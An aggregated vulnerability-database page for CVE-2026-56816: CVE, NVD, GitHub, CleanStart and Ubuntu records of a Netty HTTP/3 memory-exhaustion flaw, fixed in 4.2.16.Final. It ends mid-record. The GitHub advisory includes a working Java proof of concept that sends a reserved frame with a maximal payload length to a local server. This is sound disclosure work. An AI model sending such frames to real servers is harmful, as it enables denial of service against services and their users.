Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-56816 (GCVE-0-2026-56816)
Vulnerability from cvelistv5 – Published: 2026-07-21 21:56 – Updated: 2026-07-22 18:24- CWE-400 - Uncontrolled Resource Consumption
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
| https://github.com/netty/netty/commit/5b68c61f37a… | x_refsource_MISC |
| https://github.com/netty/netty/releases/tag/netty… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-56816",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-22T18:21:10.911756Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-22T18:24:28.067Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003c 4.2.16.Final"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty\u0027s `Http3FrameCodec` buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; `decodeFrame` trusts `payLoadLength`, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400: Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-21T21:56:36.194Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv"
},
{
"name": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
},
{
"name": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"source": {
"advisory": "GHSA-hpcc-26xq-25fv",
"discovery": "UNKNOWN"
},
"title": "Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-56816",
"datePublished": "2026-07-21T21:56:36.194Z",
"dateReserved": "2026-06-23T14:55:09.116Z",
"dateUpdated": "2026-07-22T18:24:28.067Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-56816",
"date": "2026-09-05",
"epss": "0.00522",
"percentile": "0.42264"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-56816\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-21T22:17:14.803\",\"lastModified\":\"2026-08-07T20:47:16.297\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty\u0027s `Http3FrameCodec` buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; `decodeFrame` trusts `payLoadLength`, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"netty\",\"product\":\"netty\",\"versions\":[{\"version\":\"\u003c 4.2.16.Final\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-22T18:21:10.911756Z\",\"id\":\"CVE-2026-56816\",\"options\":[{\"exploitation\":\"none\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-400\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"4.2.2\",\"versionEndExcluding\":\"4.2.16\",\"matchCriteriaId\":\"F5A41715-94B5-454E-A0D5-B16017B4A622\"}]}]}],\"references\":[{\"url\":\"https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/netty/netty/releases/tag/netty-4.2.16.Final\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Release Notes\"]},{\"url\":\"https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-56816\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-07-22T18:21:10.911756Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-07-22T18:21:11.668Z\"}}], \"cna\": {\"title\": \"Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types\", \"source\": {\"advisory\": \"GHSA-hpcc-26xq-25fv\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"netty\", \"product\": \"netty\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 4.2.16.Final\"}]}], \"references\": [{\"url\": \"https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv\", \"name\": \"https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b\", \"name\": \"https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/netty/netty/releases/tag/netty-4.2.16.Final\", \"name\": \"https://github.com/netty/netty/releases/tag/netty-4.2.16.Final\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty\u0027s `Http3FrameCodec` buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; `decodeFrame` trusts `payLoadLength`, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-400\", \"description\": \"CWE-400: Uncontrolled Resource Consumption\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-07-21T21:56:36.194Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-56816\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-22T18:24:28.067Z\", \"dateReserved\": \"2026-06-23T14:55:09.116Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-07-21T21:56:36.194Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
cleanstart-2026-vj08145
Vulnerability from cleanstart
Package strimzi-kafka-operator version 1.1.0-r2 fixes 25 vulnerabilities: CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-56746, CVE-2026-59898...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "strimzi-kafka-operator"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.0-r2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.1.0-r2"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package strimzi-kafka-operator version 1.1.0-r2 fixes 25 vulnerabilities: CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-56746, CVE-2026-59898...",
"id": "CLEANSTART-2026-VJ08145",
"modified": "2026-09-04T12:17:57Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/strimzi/strimzi-kafka-operator"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in strimzi-kafka-operator 1.1.0-r2",
"upstream": [
"CVE-2026-55831",
"CVE-2026-55833",
"CVE-2026-56745",
"CVE-2026-56746",
"CVE-2026-59898",
"CVE-2026-59899",
"CVE-2026-59921",
"CVE-2026-56816",
"CVE-2026-59901",
"CVE-2026-59900",
"CVE-2026-10051",
"CVE-2026-6790",
"ghsa-mvh2-crg5-v77c",
"ghsa-6jqx-86gh-f27w",
"ghsa-jppx-w49h-x2qq",
"ghsa-6cqp-g7gg-8hr5",
"ghsa-4mp9-239f-g9hg",
"ghsa-gcjf-9mgh-3p7g",
"ghsa-q4f6-jm68-57ww",
"ghsa-hpcc-26xq-25fv",
"ghsa-558v-64gr-wgg4",
"ghsa-c69g-56f8-xwqj",
"ghsa-f4v5-65jj-pcr2",
"ghsa-7p3p-8qv8-m2vh",
"ghsa-r7wm-3cxj-wff9"
]
}
FKIE_CVE-2026-56816
Vulnerability from fkie_nvd - Published: 2026-07-21 22:17 - Updated: 2026-08-07 20:47{
"affected": [
{
"affectedData": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003c 4.2.16.Final"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*",
"matchCriteriaId": "F5A41715-94B5-454E-A0D5-B16017B4A622",
"versionEndExcluding": "4.2.16",
"versionStartIncluding": "4.2.2",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty\u0027s `Http3FrameCodec` buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; `decodeFrame` trusts `payLoadLength`, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final."
}
],
"id": "CVE-2026-56816",
"lastModified": "2026-08-07T20:47:16.297",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-56816",
"options": [
{
"exploitation": "none"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-22T18:21:10.911756Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-07-21T22:17:14.803",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-400"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-HPCC-26XQ-25FV
Vulnerability from github – Published: 2026-07-22 21:42 – Updated: 2026-07-22 21:42Summary
Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.
Details
io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame handles reserved frame types as follows:
// Handling reserved frame types
// https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8
if (in.readableBytes() < payLoadLength) {
return 0;
}
The payLoadLength is read directly from the wire and trusted implicitly. Since payLoadLength can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.
This allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.
PoC
@Test
public void test() throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
try {
X509Bundle cert = new CertificateBuilder()
.subject("cn=localhost")
.setIsCertificateAuthority(true)
.buildSelfSigned();
QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
CountDownLatch serverConnectionClosed = new CountDownLatch(1);
ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
.sslContext(serverContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
.initialMaxStreamDataBidirectionalRemote(1_000_000)
.initialMaxStreamsBidirectional(100)
.tokenHandler(InsecureQuicTokenHandler.INSTANCE)
.handler(new ChannelInitializer<QuicChannel>() {
@Override
protected void initChannel(QuicChannel ch) {
ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
ch.pipeline().addLast(new Http3ServerConnectionHandler(
new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
cause.printStackTrace();
ctx.close();
}
}));
}
})
.build();
Channel server = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(serverCodec)
.bind("127.0.0.1", 0)
.sync()
.channel();
QuicSslContext clientContext = QuicSslContextBuilder.forClient()
.trustManager(InsecureTrustManagerFactory.INSTANCE)
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
.sslContext(clientContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
.build();
Channel client = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(clientCodec)
.bind(0)
.sync()
.channel();
QuicChannel quicChannel = QuicChannel.newBootstrap(client)
.handler(new Http3ClientConnectionHandler())
.remoteAddress(server.localAddress())
.localAddress(client.localAddress())
.connect()
.get();
QuicStreamChannel rawStream =
quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();
ByteBuf header = Unpooled.buffer();
// Write reserved frame type (64)
header.writeByte(0x40);
header.writeByte(0x40);
// Write payload length (Integer.MAX_VALUE)
header.writeByte(0xC0);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x7F);
header.writeByte(0xFF);
header.writeByte(0xFF);
header.writeByte(0xFF);
rawStream.write(header);
// Write the maximum allowed payload
int payloadSize = 1_000_000;
ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);
rawStream.writeAndFlush(payload).sync();
assertTrue(quicChannel.isActive());
quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
server.close().sync();
client.close().sync();
} finally {
group.shutdownGracefully();
}
}
Impact
Denial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56816"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:42:42Z",
"nvd_published_at": "2026-07-21T22:17:14Z",
"severity": "HIGH"
},
"details": "### Summary\nNetty\u0027s Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.\n\n### Details\n`io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame` handles reserved frame types as follows:\n\n```java\n // Handling reserved frame types\n // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8\n if (in.readableBytes() \u003c payLoadLength) {\n return 0;\n }\n```\n\nThe `payLoadLength` is read directly from the wire and trusted implicitly. Since `payLoadLength` can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.\n\nThis allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.\n\n### PoC\n\n```java\n @Test\n public void test() throws Exception {\n EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());\n try {\n X509Bundle cert = new CertificateBuilder()\n .subject(\"cn=localhost\")\n .setIsCertificateAuthority(true)\n .buildSelfSigned();\n\n QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())\n .applicationProtocols(Http3.supportedApplicationProtocols())\n .build();\n\n CountDownLatch serverConnectionClosed = new CountDownLatch(1);\n\n ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()\n .sslContext(serverContext)\n .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n .initialMaxData(10_000_000)\n .initialMaxStreamDataBidirectionalLocal(1_000_000)\n .initialMaxStreamDataBidirectionalRemote(1_000_000)\n .initialMaxStreamsBidirectional(100)\n .tokenHandler(InsecureQuicTokenHandler.INSTANCE)\n .handler(new ChannelInitializer\u003cQuicChannel\u003e() {\n @Override\n protected void initChannel(QuicChannel ch) {\n ch.closeFuture().addListener(f -\u003e serverConnectionClosed.countDown());\n ch.pipeline().addLast(new Http3ServerConnectionHandler(\n new ChannelInboundHandlerAdapter() {\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n cause.printStackTrace();\n ctx.close();\n }\n }));\n }\n })\n .build();\n\n Channel server = new Bootstrap()\n .group(group)\n .channel(NioDatagramChannel.class)\n .handler(serverCodec)\n .bind(\"127.0.0.1\", 0)\n .sync()\n .channel();\n\n QuicSslContext clientContext = QuicSslContextBuilder.forClient()\n .trustManager(InsecureTrustManagerFactory.INSTANCE)\n .applicationProtocols(Http3.supportedApplicationProtocols())\n .build();\n\n ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()\n .sslContext(clientContext)\n .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n .initialMaxData(10_000_000)\n .initialMaxStreamDataBidirectionalLocal(1_000_000)\n .build();\n\n Channel client = new Bootstrap()\n .group(group)\n .channel(NioDatagramChannel.class)\n .handler(clientCodec)\n .bind(0)\n .sync()\n .channel();\n\n QuicChannel quicChannel = QuicChannel.newBootstrap(client)\n .handler(new Http3ClientConnectionHandler())\n .remoteAddress(server.localAddress())\n .localAddress(client.localAddress())\n .connect()\n .get();\n\n QuicStreamChannel rawStream =\n quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();\n\n ByteBuf header = Unpooled.buffer();\n\n // Write reserved frame type (64)\n header.writeByte(0x40);\n header.writeByte(0x40);\n\n // Write payload length (Integer.MAX_VALUE)\n header.writeByte(0xC0);\n header.writeByte(0x00);\n header.writeByte(0x00);\n header.writeByte(0x00);\n header.writeByte(0x7F);\n header.writeByte(0xFF);\n header.writeByte(0xFF);\n header.writeByte(0xFF);\n\n rawStream.write(header);\n\n // Write the maximum allowed payload\n int payloadSize = 1_000_000;\n ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);\n rawStream.writeAndFlush(payload).sync();\n\n assertTrue(quicChannel.isActive());\n\n quicChannel.closeFuture().await(5, TimeUnit.SECONDS);\n server.close().sync();\n client.close().sync();\n } finally {\n group.shutdownGracefully();\n }\n }\n```\n\n### Impact\nDenial of Service due to gradual memory exhaustion. Any application using Netty\u0027s HTTP/3 codec is impacted.",
"id": "GHSA-hpcc-26xq-25fv",
"modified": "2026-07-22T21:42:43Z",
"published": "2026-07-22T21:42:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56816"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types"
}
ubuntu-cve-2026-56816
Vulnerability from osv_ubuntu
Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; decodeFrame trusts payLoadLength, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final.
{
"affected": [
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libnetty-java",
"binary_version": "1:3.2.6.Final-2+deb8u2ubuntu0.1~esm1"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:14.04:LTS",
"name": "netty",
"purl": "pkg:deb/ubuntu/netty@1:3.2.6.Final-2+deb8u2ubuntu0.1~esm1?arch=source\u0026distro=esm-infra-legacy/trusty"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1:3.2.6.Final-2",
"1:3.2.6.Final-2+deb8u2build0.14.04.1~esm1",
"1:3.2.6.Final-2+deb8u2ubuntu0.1~esm1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libnetty-java",
"binary_version": "1:4.0.34-1ubuntu0.1~esm5"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:16.04:LTS",
"name": "netty",
"purl": "pkg:deb/ubuntu/netty@1:4.0.34-1ubuntu0.1~esm5?arch=source\u0026distro=esm-apps-legacy/xenial"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1:3.2.6.Final-2",
"1:4.0.32-1",
"1:4.0.33-1",
"1:4.0.34-1",
"1:4.0.34-1ubuntu0.1~esm1",
"1:4.0.34-1ubuntu0.1~esm2",
"1:4.0.34-1ubuntu0.1~esm3",
"1:4.0.34-1ubuntu0.1~esm4",
"1:4.0.34-1ubuntu0.1~esm5"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libnetty-java",
"binary_version": "1:4.1.7-4ubuntu0.1+esm7"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:18.04:LTS",
"name": "netty",
"purl": "pkg:deb/ubuntu/netty@1:4.1.7-4ubuntu0.1+esm7?arch=source\u0026distro=esm-apps/bionic"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1:4.1.7-4",
"1:4.1.7-4ubuntu0.1~esm1",
"1:4.1.7-4ubuntu0.1",
"1:4.1.7-4ubuntu0.1+esm1",
"1:4.1.7-4ubuntu0.1+esm2",
"1:4.1.7-4ubuntu0.1+esm3",
"1:4.1.7-4ubuntu0.1+esm4",
"1:4.1.7-4ubuntu0.1+esm5",
"1:4.1.7-4ubuntu0.1+esm6",
"1:4.1.7-4ubuntu0.1+esm7"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libnetty-java",
"binary_version": "1:4.1.45-1ubuntu0.1~esm7"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:20.04:LTS",
"name": "netty",
"purl": "pkg:deb/ubuntu/netty@1:4.1.45-1ubuntu0.1~esm7?arch=source\u0026distro=esm-apps/focal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1:4.1.33-1",
"1:4.1.33-2",
"1:4.1.33-3",
"1:4.1.45-1",
"1:4.1.45-1ubuntu0.1~esm1",
"1:4.1.45-1ubuntu0.1~esm2",
"1:4.1.45-1ubuntu0.1~esm3",
"1:4.1.45-1ubuntu0.1~esm4",
"1:4.1.45-1ubuntu0.1~esm6",
"1:4.1.45-1ubuntu0.1~esm7"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libnetty-java",
"binary_version": "1:4.1.48-4+deb11u2ubuntu0.2+esm1"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:22.04:LTS",
"name": "netty",
"purl": "pkg:deb/ubuntu/netty@1:4.1.48-4+deb11u2ubuntu0.2+esm1?arch=source\u0026distro=esm-apps/jammy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1:4.1.48-4",
"1:4.1.48-4+deb11u1build0.22.04.1",
"1:4.1.48-4+deb11u2build0.22.04.1",
"1:4.1.48-4+deb11u2ubuntu0.1~esm1",
"1:4.1.48-4+deb11u2ubuntu0.1~esm2",
"1:4.1.48-4+deb11u2ubuntu0.1",
"1:4.1.48-4+deb11u2ubuntu0.1+esm1",
"1:4.1.48-4+deb11u2ubuntu0.1+esm3",
"1:4.1.48-4+deb11u2ubuntu0.2",
"1:4.1.48-4+deb11u2ubuntu0.2+esm1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libnetty-java",
"binary_version": "1:4.1.48-9ubuntu0.2+esm1"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:24.04:LTS",
"name": "netty",
